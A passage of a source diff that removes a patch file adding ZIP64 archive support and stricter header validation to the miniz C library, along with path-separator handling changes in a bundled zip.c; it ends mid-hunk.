-@@ -696,6 +736,7 @@ typedef size_t (*mz_file_read_func)(void *pOpaque, mz_uint64 file_ofs,
- void *pBuf, size_t n);
- typedef size_t (*mz_file_write_func)(void *pOpaque, mz_uint64 file_ofs,
- const void *pBuf, size_t n);
-+typedef mz_bool (*mz_file_needs_keepalive)(void *pOpaque);
-
- struct mz_zip_internal_state_tag;
- typedef struct mz_zip_internal_state_tag mz_zip_internal_state;
-@@ -707,13 +748,27 @@ typedef enum {
- MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED = 3
- } mz_zip_mode;
-
--typedef struct mz_zip_archive_tag {
-+typedef enum {
-+ MZ_ZIP_TYPE_INVALID = 0,
-+ MZ_ZIP_TYPE_USER,
-+ MZ_ZIP_TYPE_MEMORY,
-+ MZ_ZIP_TYPE_HEAP,
-+ MZ_ZIP_TYPE_FILE,
-+ MZ_ZIP_TYPE_CFILE,
-+ MZ_ZIP_TOTAL_TYPES
-+} mz_zip_type;
-+
-+typedef struct {
- mz_uint64 m_archive_size;
- mz_uint64 m_central_directory_file_ofs;
-- mz_uint m_total_files;
-+
-+ /* We only support up to UINT32_MAX files in zip64 mode. */
-+ mz_uint32 m_total_files;
- mz_zip_mode m_zip_mode;
-+ mz_zip_type m_zip_type;
-+ mz_zip_error m_last_error;
-
-- mz_uint m_file_offset_alignment;
-+ mz_uint64 m_file_offset_alignment;
-
- mz_alloc_func m_pAlloc;
- mz_free_func m_pFree;
-@@ -722,6 +777,7 @@ typedef struct mz_zip_archive_tag {
-
- mz_file_read_func m_pRead;
- mz_file_write_func m_pWrite;
-+ mz_file_needs_keepalive m_pNeeds_keepalive;
- void *m_pIO_opaque;
-
- mz_zip_internal_state *m_pState;
-@@ -1263,6 +1319,9 @@ mz_uint tdefl_create_comp_flags_from_zip_params(int level, int window_bits,
- int strategy);
- #endif // #ifndef MINIZ_NO_ZLIB_APIS
-
-+#define MZ_UINT16_MAX (0xFFFFU)
-+#define MZ_UINT32_MAX (0xFFFFFFFFU)
-+
- #ifdef __cplusplus
- }
- #endif
-@@ -1311,6 +1370,11 @@ typedef unsigned char mz_validate_uint64[sizeof(mz_uint64) == 8 ? 1 : -1];
- ((mz_uint32)(((const mz_uint8 *)(p))[3]) << 24U))
- #endif
-
-+#define MZ_READ_LE64(p) \
-+ (((mz_uint64)MZ_READ_LE32(p)) | \
-+ (((mz_uint64)MZ_READ_LE32((const mz_uint8 *)(p) + sizeof(mz_uint32))) \
-+ << 32U))
-+
- #ifdef _MSC_VER
- #define MZ_FORCEINLINE __forceinline
- #elif defined(__GNUC__)
-@@ -4160,6 +4224,17 @@ enum {
- MZ_ZIP_LOCAL_DIR_HEADER_SIZE = 30,
- MZ_ZIP_CENTRAL_DIR_HEADER_SIZE = 46,
- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE = 22,
-+
-+ /* ZIP64 archive identifier and record sizes */
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIG = 0x06064b50,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIG = 0x07064b50,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE = 56,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE = 20,
-+ MZ_ZIP64_EXTENDED_INFORMATION_FIELD_HEADER_ID = 0x0001,
-+ MZ_ZIP_DATA_DESCRIPTOR_ID = 0x08074b50,
-+ MZ_ZIP_DATA_DESCRIPTER_SIZE64 = 24,
-+ MZ_ZIP_DATA_DESCRIPTER_SIZE32 = 16,
-+
- // Central directory header record offsets
- MZ_ZIP_CDH_SIG_OFS = 0,
- MZ_ZIP_CDH_VERSION_MADE_BY_OFS = 4,
-@@ -4199,6 +4274,31 @@ enum {
- MZ_ZIP_ECDH_CDIR_SIZE_OFS = 12,
- MZ_ZIP_ECDH_CDIR_OFS_OFS = 16,
- MZ_ZIP_ECDH_COMMENT_SIZE_OFS = 20,
-+
-+ /* ZIP64 End of central directory locator offsets */
-+ MZ_ZIP64_ECDL_SIG_OFS = 0, /* 4 bytes */
-+ MZ_ZIP64_ECDL_NUM_DISK_CDIR_OFS = 4, /* 4 bytes */
-+ MZ_ZIP64_ECDL_REL_OFS_TO_ZIP64_ECDR_OFS = 8, /* 8 bytes */
-+ MZ_ZIP64_ECDL_TOTAL_NUMBER_OF_DISKS_OFS = 16, /* 4 bytes */
-+
-+ /* ZIP64 End of central directory header offsets */
-+ MZ_ZIP64_ECDH_SIG_OFS = 0, /* 4 bytes */
-+ MZ_ZIP64_ECDH_SIZE_OF_RECORD_OFS = 4, /* 8 bytes */
-+ MZ_ZIP64_ECDH_VERSION_MADE_BY_OFS = 12, /* 2 bytes */
-+ MZ_ZIP64_ECDH_VERSION_NEEDED_OFS = 14, /* 2 bytes */
-+ MZ_ZIP64_ECDH_NUM_THIS_DISK_OFS = 16, /* 4 bytes */
-+ MZ_ZIP64_ECDH_NUM_DISK_CDIR_OFS = 20, /* 4 bytes */
-+ MZ_ZIP64_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS = 24, /* 8 bytes */
-+ MZ_ZIP64_ECDH_CDIR_TOTAL_ENTRIES_OFS = 32, /* 8 bytes */
-+ MZ_ZIP64_ECDH_CDIR_SIZE_OFS = 40, /* 8 bytes */
-+ MZ_ZIP64_ECDH_CDIR_OFS_OFS = 48, /* 8 bytes */
-+ MZ_ZIP_VERSION_MADE_BY_DOS_FILESYSTEM_ID = 0,
-+ MZ_ZIP_DOS_DIR_ATTRIBUTE_BITFLAG = 0x10,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_IS_ENCRYPTED = 1,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_COMPRESSED_PATCH_FLAG = 32,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_USES_STRONG_ENCRYPTION = 64,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_LOCAL_DIR_IS_MASKED = 8192,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_UTF8 = 1 << 11
- };
-
- typedef struct {
-@@ -4211,7 +4311,24 @@ struct mz_zip_internal_state_tag {
- mz_zip_array m_central_dir;
- mz_zip_array m_central_dir_offsets;
- mz_zip_array m_sorted_central_dir_offsets;
-+
-+ /* The flags passed in when the archive is initially opened. */
-+ uint32_t m_init_flags;
-+
-+ /* MZ_TRUE if the archive has a zip64 end of central directory headers, etc.
-+ */
-+ mz_bool m_zip64;
-+
-+ /* MZ_TRUE if we found zip64 extended info in the central directory (m_zip64
-+ * will also be slammed to true too, even if we didn't find a zip64 end of
-+ * central dir header, etc.) */
-+ mz_bool m_zip64_has_extended_info_fields;
-+
-+ /* These fields are used by the file, FILE, memory, and memory/heap read/write
-+ * helpers. */
- MZ_FILE *m_pFile;
-+ mz_uint64 m_file_archive_start_ofs;
-+
- void *m_pMem;
- size_t m_mem_size;
- size_t m_mem_capacity;
-@@ -4363,6 +4480,13 @@ static mz_bool mz_zip_set_file_times(const char *pFilename, time_t access_time,
- #endif /* #ifndef MINIZ_NO_STDIO */
- #endif /* #ifndef MINIZ_NO_TIME */
-
-+static MZ_FORCEINLINE mz_bool mz_zip_set_error(mz_zip_archive *pZip,
-+ mz_zip_error err_num) {
-+ if (pZip)
-+ pZip->m_last_error = err_num;
-+ return MZ_FALSE;
-+}
-+
- static mz_bool mz_zip_reader_init_internal(mz_zip_archive *pZip,
- mz_uint32 flags) {
- (void)flags;
-@@ -4480,127 +4604,346 @@ mz_zip_reader_sort_central_dir_offsets_by_filename(mz_zip_archive *pZip) {
- }
- }
-
--static mz_bool mz_zip_reader_read_central_dir(mz_zip_archive *pZip,
-- mz_uint32 flags) {
-- mz_uint cdir_size, num_this_disk, cdir_disk_index;
-- mz_uint64 cdir_ofs;
-+static mz_bool mz_zip_reader_locate_header_sig(mz_zip_archive *pZip,
-+ mz_uint32 record_sig,
-+ mz_uint32 record_size,
-+ mz_int64 *pOfs) {
- mz_int64 cur_file_ofs;
-- const mz_uint8 *p;
- mz_uint32 buf_u32[4096 / sizeof(mz_uint32)];
- mz_uint8 *pBuf = (mz_uint8 *)buf_u32;
-- mz_bool sort_central_dir =
-- ((flags & MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY) == 0);
-- // Basic sanity checks - reject files which are too small, and check the first
-- // 4 bytes of the file to make sure a local header is there.
-- if (pZip->m_archive_size < MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)
-+
-+ /* Basic sanity checks - reject files which are too small */
-+ if (pZip->m_archive_size < record_size)
- return MZ_FALSE;
-- // Find the end of central directory record by scanning the file from the end
-- // towards the beginning.
-+
-+ /* Find the record by scanning the file from the end towards the beginning. */
- cur_file_ofs =
- MZ_MAX((mz_int64)pZip->m_archive_size - (mz_int64)sizeof(buf_u32), 0);
- for (;;) {
- int i,
- n = (int)MZ_MIN(sizeof(buf_u32), pZip->m_archive_size - cur_file_ofs);
-+
- if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, n) != (mz_uint)n)
- return MZ_FALSE;
-- for (i = n - 4; i >= 0; --i)
-- if (MZ_READ_LE32(pBuf + i) == MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG)
-- break;
-+
-+ for (i = n - 4; i >= 0; --i) {
-+ mz_uint s = MZ_READ_LE32(pBuf + i);
-+ if (s == record_sig) {
-+ if ((pZip->m_archive_size - (cur_file_ofs + i)) >= record_size)
-+ break;
-+ }
-+ }
-+
- if (i >= 0) {
- cur_file_ofs += i;
- break;
- }
-+
-+ /* Give up if we've searched the entire file, or we've gone back "too far"
-+ * (~64kb) */
- if ((!cur_file_ofs) || ((pZip->m_archive_size - cur_file_ofs) >=
-- (0xFFFF + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)))
-+ (MZ_UINT16_MAX + record_size)))
- return MZ_FALSE;
-+
- cur_file_ofs = MZ_MAX(cur_file_ofs - (sizeof(buf_u32) - 3), 0);
- }
-- // Read and verify the end of central directory record.
-+
-+ *pOfs = cur_file_ofs;
-+ return MZ_TRUE;
-+}
-+
-+static mz_bool mz_zip_reader_read_central_dir(mz_zip_archive *pZip,
-+ mz_uint flags) {
-+ mz_uint cdir_size = 0, cdir_entries_on_this_disk = 0, num_this_disk = 0,
-+ cdir_disk_index = 0;
-+ mz_uint64 cdir_ofs = 0;
-+ mz_int64 cur_file_ofs = 0;
-+ const mz_uint8 *p;
-+
-+ mz_uint32 buf_u32[4096 / sizeof(mz_uint32)];
-+ mz_uint8 *pBuf = (mz_uint8 *)buf_u32;
-+ mz_bool sort_central_dir =
-+ ((flags & MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY) == 0);
-+ mz_uint32 zip64_end_of_central_dir_locator_u32
-+ [(MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE + sizeof(mz_uint32) - 1) /
-+ sizeof(mz_uint32)];
-+ mz_uint8 *pZip64_locator = (mz_uint8 *)zip64_end_of_central_dir_locator_u32;
-+
-+ mz_uint32 zip64_end_of_central_dir_header_u32
-+ [(MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) /
-+ sizeof(mz_uint32)];
-+ mz_uint8 *pZip64_end_of_central_dir =
-+ (mz_uint8 *)zip64_end_of_central_dir_header_u32;
-+
-+ mz_uint64 zip64_end_of_central_dir_ofs = 0;
-+
-+ /* Basic sanity checks - reject files which are too small, and check the first
-+ * 4 bytes of the file to make sure a local header is there. */
-+ if (pZip->m_archive_size < MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)
-+ return mz_zip_set_error(pZip, MZ_ZIP_NOT_AN_ARCHIVE);
-+
-+ if (!mz_zip_reader_locate_header_sig(
-+ pZip, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG,
-+ MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE, &cur_file_ofs))
-+ return mz_zip_set_error(pZip, MZ_ZIP_FAILED_FINDING_CENTRAL_DIR);
-+
-+ /* Read and verify the end of central directory record. */
- if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf,
- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) !=
- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)
-- return MZ_FALSE;
-- if ((MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_SIG_OFS) !=
-- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG) ||
-- ((pZip->m_total_files =
-- MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS)) !=
-- MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS)))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_FILE_READ_FAILED);
-+
-+ if (MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_SIG_OFS) !=
-+ MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG)
-+ return mz_zip_set_error(pZip, MZ_ZIP_NOT_AN_ARCHIVE);
-+
-+ if (cur_file_ofs >= (MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE +
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE)) {
-+ if (pZip->m_pRead(pZip->m_pIO_opaque,
-+ cur_file_ofs - MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE,
-+ pZip64_locator,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE) {
-+ if (MZ_READ_LE32(pZip64_locator + MZ_ZIP64_ECDL_SIG_OFS) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIG) {
-+ zip64_end_of_central_dir_ofs = MZ_READ_LE64(
-+ pZip64_locator + MZ_ZIP64_ECDL_REL_OFS_TO_ZIP64_ECDR_OFS);
-+ if (zip64_end_of_central_dir_ofs >
-+ (pZip->m_archive_size - MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE))
-+ return mz_zip_set_error(pZip, MZ_ZIP_NOT_AN_ARCHIVE);
-+
-+ if (pZip->m_pRead(pZip->m_pIO_opaque, zip64_end_of_central_dir_ofs,
-+ pZip64_end_of_central_dir,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE) {
-+ if (MZ_READ_LE32(pZip64_end_of_central_dir + MZ_ZIP64_ECDH_SIG_OFS) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIG) {
-+ pZip->m_pState->m_zip64 = MZ_TRUE;
-+ }
-+ }
-+ }
-+ }
-+ }
-
-+ pZip->m_total_files = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS);
-+ cdir_entries_on_this_disk =
-+ MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS);
- num_this_disk = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_THIS_DISK_OFS);
- cdir_disk_index = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_DISK_CDIR_OFS);
-+ cdir_size = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_SIZE_OFS);
-+ cdir_ofs = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_OFS_OFS);
-+
-+ if (pZip->m_pState->m_zip64) {
-+ mz_uint32 zip64_total_num_of_disks =
-+ MZ_READ_LE32(pZip64_locator + MZ_ZIP64_ECDL_TOTAL_NUMBER_OF_DISKS_OFS);
-+ mz_uint64 zip64_cdir_total_entries = MZ_READ_LE64(
-+ pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_TOTAL_ENTRIES_OFS);
-+ mz_uint64 zip64_cdir_total_entries_on_this_disk = MZ_READ_LE64(
-+ pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS);
-+ mz_uint64 zip64_size_of_end_of_central_dir_record = MZ_READ_LE64(
-+ pZip64_end_of_central_dir + MZ_ZIP64_ECDH_SIZE_OF_RECORD_OFS);
-+ mz_uint64 zip64_size_of_central_directory =
-+ MZ_READ_LE64(pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_SIZE_OFS);
-+
-+ if (zip64_size_of_end_of_central_dir_record <
-+ (MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE - 12))
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+
-+ if (zip64_total_num_of_disks != 1U)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-+
-+ /* Check for miniz's practical limits */
-+ if (zip64_cdir_total_entries > MZ_UINT32_MAX)
-+ return mz_zip_set_error(pZip, MZ_ZIP_TOO_MANY_FILES);
-+
-+ pZip->m_total_files = (mz_uint32)zip64_cdir_total_entries;
-+
-+ if (zip64_cdir_total_entries_on_this_disk > MZ_UINT32_MAX)
-+ return mz_zip_set_error(pZip, MZ_ZIP_TOO_MANY_FILES);
-+
-+ cdir_entries_on_this_disk =
-+ (mz_uint32)zip64_cdir_total_entries_on_this_disk;
-+
-+ /* Check for miniz's current practical limits (sorry, this should be enough
-+ * for millions of files) */
-+ if (zip64_size_of_central_directory > MZ_UINT32_MAX)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_CDIR_SIZE);
-+
-+ cdir_size = (mz_uint32)zip64_size_of_central_directory;
-+
-+ num_this_disk = MZ_READ_LE32(pZip64_end_of_central_dir +
-+ MZ_ZIP64_ECDH_NUM_THIS_DISK_OFS);
-+
-+ cdir_disk_index = MZ_READ_LE32(pZip64_end_of_central_dir +
-+ MZ_ZIP64_ECDH_NUM_DISK_CDIR_OFS);
-+
-+ cdir_ofs =
-+ MZ_READ_LE64(pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_OFS_OFS);
-+ }
-+
-+ if (pZip->m_total_files != cdir_entries_on_this_disk)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-+
- if (((num_this_disk | cdir_disk_index) != 0) &&
- ((num_this_disk != 1) || (cdir_disk_index != 1)))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-
-- if ((cdir_size = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_SIZE_OFS)) <
-- pZip->m_total_files * MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)
-- return MZ_FALSE;
-+ if (cdir_size < pZip->m_total_files * MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-
-- cdir_ofs = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_OFS_OFS);
- if ((cdir_ofs + (mz_uint64)cdir_size) > pZip->m_archive_size)
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-
- pZip->m_central_directory_file_ofs = cdir_ofs;
-
- if (pZip->m_total_files) {
- mz_uint i, n;
--
-- // Read the entire central directory into a heap block, and allocate another
-- // heap block to hold the unsorted central dir file record offsets, and
-- // another to hold the sorted indices.
-+ /* Read the entire central directory into a heap block, and allocate another
-+ * heap block to hold the unsorted central dir file record offsets, and
-+ * possibly another to hold the sorted indices. */
- if ((!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir, cdir_size,
- MZ_FALSE)) ||
- (!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir_offsets,
- pZip->m_total_files, MZ_FALSE)))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_ALLOC_FAILED);
-
- if (sort_central_dir) {
- if (!mz_zip_array_resize(pZip,
- &pZip->m_pState->m_sorted_central_dir_offsets,
- pZip->m_total_files, MZ_FALSE))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_ALLOC_FAILED);
- }
-
- if (pZip->m_pRead(pZip->m_pIO_opaque, cdir_ofs,
- pZip->m_pState->m_central_dir.m_p,
- cdir_size) != cdir_size)
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_FILE_READ_FAILED);
-
-- // Now create an index into the central directory file records, do some
-- // basic sanity checking on each record, and check for zip64 entries (which
-- // are not yet supported).
-+ /* Now create an index into the central directory file records, do some
-+ * basic sanity checking on each record */
- p = (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p;
- for (n = cdir_size, i = 0; i < pZip->m_total_files; ++i) {
-- mz_uint total_header_size, comp_size, decomp_size, disk_index;
-+ mz_uint total_header_size, disk_index, bit_flags, filename_size,
-+ ext_data_size;
-+ mz_uint64 comp_size, decomp_size, local_header_ofs;
-+
- if ((n < MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) ||
- (MZ_READ_LE32(p) != MZ_ZIP_CENTRAL_DIR_HEADER_SIG))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+
- MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32,
- i) =
- (mz_uint32)(p - (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p);
-+
- if (sort_central_dir)
- MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_sorted_central_dir_offsets,
- mz_uint32, i) = i;
-+
- comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS);
- decomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS);
-- if (((!MZ_READ_LE32(p + MZ_ZIP_CDH_METHOD_OFS)) &&
-- (decomp_size != comp_size)) ||
-- (decomp_size && !comp_size) || (decomp_size == 0xFFFFFFFF) ||
-- (comp_size == 0xFFFFFFFF))
-- return MZ_FALSE;
-+ local_header_ofs = MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS);
-+ filename_size = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS);
-+ ext_data_size = MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS);
-+
-+ if ((!pZip->m_pState->m_zip64_has_extended_info_fields) &&
-+ (ext_data_size) &&
-+ (MZ_MAX(MZ_MAX(comp_size, decomp_size), local_header_ofs) ==
-+ MZ_UINT32_MAX)) {
-+ /* Attempt to find zip64 extended information field in the entry's extra
-+ * data */
-+ mz_uint32 extra_size_remaining = ext_data_size;
-+
-+ if (extra_size_remaining) {
-+ const mz_uint8 *pExtra_data;
-+ void *buf = NULL;
-+
-+ if (MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_size + ext_data_size >
-+ n) {
-+ buf = MZ_MALLOC(ext_data_size);
-+ if (buf == NULL)
-+ return mz_zip_set_error(pZip, MZ_ZIP_ALLOC_FAILED);
-+
-+ if (pZip->m_pRead(pZip->m_pIO_opaque,
-+ cdir_ofs + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE +
-+ filename_size,
-+ buf, ext_data_size) != ext_data_size) {
-+ MZ_FREE(buf);
-+ return mz_zip_set_error(pZip, MZ_ZIP_FILE_READ_FAILED);
-+ }
-+
-+ pExtra_data = (mz_uint8 *)buf;
-+ } else {
-+ pExtra_data = p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_size;
-+ }
-+
-+ do {
-+ mz_uint32 field_id;
-+ mz_uint32 field_data_size;
-+
-+ if (extra_size_remaining < (sizeof(mz_uint16) * 2)) {
-+ MZ_FREE(buf);
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
-+ field_id = MZ_READ_LE16(pExtra_data);
-+ field_data_size = MZ_READ_LE16(pExtra_data + sizeof(mz_uint16));
-+
-+ if ((field_data_size + sizeof(mz_uint16) * 2) >
-+ extra_size_remaining) {
-+ MZ_FREE(buf);
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
-+ if (field_id == MZ_ZIP64_EXTENDED_INFORMATION_FIELD_HEADER_ID) {
-+ /* Ok, the archive didn't have any zip64 headers but it uses a
-+ * zip64 extended information field so mark it as zip64 anyway
-+ * (this can occur with infozip's zip util when it reads
-+ * compresses files from stdin). */
-+ pZip->m_pState->m_zip64 = MZ_TRUE;
-+ pZip->m_pState->m_zip64_has_extended_info_fields = MZ_TRUE;
-+ break;
-+ }
-+
-+ pExtra_data += sizeof(mz_uint16) * 2 + field_data_size;
-+ extra_size_remaining =
-+ extra_size_remaining - sizeof(mz_uint16) * 2 - field_data_size;
-+ } while (extra_size_remaining);
-+
-+ MZ_FREE(buf);
-+ }
-+ }
-+
-+ /* I've seen archives that aren't marked as zip64 that uses zip64 ext
-+ * data, argh */
-+ if ((comp_size != MZ_UINT32_MAX) && (decomp_size != MZ_UINT32_MAX)) {
-+ if (((!MZ_READ_LE32(p + MZ_ZIP_CDH_METHOD_OFS)) &&
-+ (decomp_size != comp_size)) ||
-+ (decomp_size && !comp_size))
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
- disk_index = MZ_READ_LE16(p + MZ_ZIP_CDH_DISK_START_OFS);
-- if ((disk_index != num_this_disk) && (disk_index != 1))
-- return MZ_FALSE;
-- if (((mz_uint64)MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS) +
-- MZ_ZIP_LOCAL_DIR_HEADER_SIZE + comp_size) > pZip->m_archive_size)
-- return MZ_FALSE;
-+ if ((disk_index == MZ_UINT16_MAX) ||
-+ ((disk_index != num_this_disk) && (disk_index != 1)))
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-+
-+ if (comp_size != MZ_UINT32_MAX) {
-+ if (((mz_uint64)MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS) +
-+ MZ_ZIP_LOCAL_DIR_HEADER_SIZE + comp_size) > pZip->m_archive_size)
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
-+ bit_flags = MZ_READ_LE16(p + MZ_ZIP_CDH_BIT_FLAG_OFS);
-+ if (bit_flags & MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_LOCAL_DIR_IS_MASKED)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_ENCRYPTION);
-+
- if ((total_header_size = MZ_ZIP_CENTRAL_DIR_HEADER_SIZE +
- MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS) +
- MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS) +
- MZ_READ_LE16(p + MZ_ZIP_CDH_COMMENT_LEN_OFS)) >
- n)
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+
- n -= total_header_size;
- p += total_header_size;
- }
-diff --git a/contrib/zip/src/zip.c b/contrib/zip/src/zip.c
-index ff3a8fe1..1abcfd8f 100644
---- a/contrib/zip/src/zip.c
-+++ b/contrib/zip/src/zip.c
-@@ -24,7 +24,6 @@
- ((((P)[0] >= 'A' && (P)[0] <= 'Z') || ((P)[0] >= 'a' && (P)[0] <= 'z')) && \
- (P)[1] == ':')
- #define FILESYSTEM_PREFIX_LEN(P) (HAS_DEVICE(P) ? 2 : 0)
--#define ISSLASH(C) ((C) == '/' || (C) == '\\')
-
- #else
-
-@@ -48,7 +47,7 @@ int symlink(const char *target, const char *linkpath); // needed on Linux
- #endif
-
- #ifndef ISSLASH
--#define ISSLASH(C) ((C) == '/')
-+#define ISSLASH(C) ((C) == '/' || (C) == '\\')
- #endif
-
- #define CLEANUP(ptr) \
-@@ -78,26 +77,34 @@ static const char *base_name(const char *name) {
- return base;
- }
-
--static int mkpath(const char *path) {
-- char const *p;
-+static int mkpath(char *path) {
-+ char *p;
- char npath[MAX_PATH + 1];
- int len = 0;
- int has_device = HAS_DEVICE(path);
-
- memset(npath, 0, MAX_PATH + 1);
--
--#ifdef _WIN32
-- // only on windows fix the path
-- npath[0] = path[0];
-- npath[1] = path[1];
-- len = 2;
--#endif // _WIN32
--
-+ if (has_device) {
-+ // only on windows
-+ npath[0] = path[0];
-+ npath[1] = path[1];
-+ len = 2;
-+ }
- for (p = path + len; *p && len < MAX_PATH; p++) {
- if (ISSLASH(*p) && ((!has_device && len > 0) || (has_device && len > 2))) {
-- if (MKDIR(npath) == -1)
-- if (errno != EEXIST)
-+#if defined(_WIN32) || defined(__WIN32__) || defined(_MSC_VER) || \
-+ defined(__MINGW32__)
-+#else
-+ if ('\\' == *p) {
-+ *p = '/';
-+ }
-+#endif
-+
-+ if (MKDIR(npath) == -1) {
-+ if (errno != EEXIST) {
- return -1;
-+ }
-+ }
- }
- npath[len++] = *p;
- }
-@@ -279,7 +286,14 @@ int zip_entry_open(struct zip_t *zip, const char *entryname) {
- zip->entry.header_offset = zip->archive.m_archive_size;
- memset(zip->entry.header, 0, MZ_ZIP_LOCAL_DIR_HEADER_SIZE * sizeof(mz_uint8));
- zip->entry.method = 0;
-+
-+ // UNIX or APPLE
